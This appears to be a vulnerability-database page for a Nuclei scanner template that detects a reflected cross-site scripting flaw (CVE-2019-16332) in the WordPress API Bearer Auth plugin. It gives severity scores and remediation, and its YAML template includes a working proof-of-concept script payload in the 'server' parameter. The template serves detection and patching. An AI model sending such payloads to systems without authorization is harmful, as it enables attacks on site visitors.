CVE-2019-16332: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
- Template: CVE-2019-16332
- Name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
- Description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
- Impact: Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
- Remediation: Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
- Severity: medium
- Authors: daffainfo
- Tags: cve, cve2019, packetstorm, wordpress, xss, wp-plugin, auth, api_bearer_auth_project, vuln
- References: https://plugins.trac.wordpress.org/changeset/2152730, https://wordpress.org/plugins/api-bearer-auth/#developers, https://nvd.nist.gov/vuln/detail/CVE-2019-16332, https://packetstormsecurity.com/files/154369/WordPress-API-Bearer-Auth-20181229-Cross-Site-Scripting.html, https://wpvulndb.com/vulnerabilities/9868
- Cves: CVE-2019-16332
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2019/CVE-2019-16332.yaml
- Digest: 4a0a00473045022100c6ad4f0ebd02c8b7a115232d9d2b7863c4b726e3b39b406052bfa634bd43c9be0220614da4afdab83e6cdece5f8ef6370a5ee4efb2556891e6576dea3e60eac005c1
- Created at: 2021-07-16T05:30:34Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1957
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16332.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.05672
- Epss percentile: 0.93178
- Cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 2
- Product: api_bearer_auth
- Vendor: api_bearer_auth_project
Products
| Product | Indexed | Url |
|---|---|---|
| api_bearer_auth_project:api_bearer_auth | yes | /v1/products/api_bearer_auth_project/api_bearer_auth |
Labels
- Name: WordPress API Bearer Auth - Reflected XSS
- Impact: Attackers can execute malicious scripts in the victim's browser, potentially leading to session hijacking or defacement.
- Remediation: Update to version 20190907 or later, or apply security patches to filter input properly.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec
- Requirement type: user_interaction
- Requirements: Attacker needs to send a crafted request
- Labels source: projectdiscovery
- From cve: CVE-2019-16332
```yaml
id: CVE-2019-16332
info:
name: WordPress API Bearer Auth <20190907 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress API Bearer Auth plugin before 20190907 contains a cross-site scripting vulnerability. The server parameter is not correctly filtered in swagger-config.yaml.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
remediation: |
Update to the latest version of WordPress API Bearer Auth plugin (20190907 or later) to mitigate the vulnerability.
reference:
- https://plugins.trac.wordpress.org/changeset/2152730
- https://wordpress.org/plugins/api-bearer-auth/#developers
- https://nvd.nist.gov/vuln/detail/CVE-2019-16332
- https://wpvulndb.com/vulnerabilities/9868
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-16332
cwe-id: CWE-79
epss-score: 0.05672
epss-percentile: 0.93178
cpe: cpe:2.3:a:api_bearer_auth_project:api_bearer_auth:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: "api_bearer_auth_project"
product: "api_bearer_auth"
framework: wordpress
tags: cve,cve2019,packetstorm,wordpress,xss,wp-plugin,auth,api_bearer_auth_project,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/plugins/api-bearer-auth/'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/api-bearer-auth/swagger/swagger-config.yaml.php?&server=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
digest: 4a0a00473045022100c6ad4f0ebd02c8b7a115232d9d2b7863c4b726e3b39b406052bfa634bd43c9be0220614da4afdab83e6cdece5f8ef6370a5ee4efb2556891e6576dea3e60eac005c1:922c64590222798bb761d5b6d8e72950
```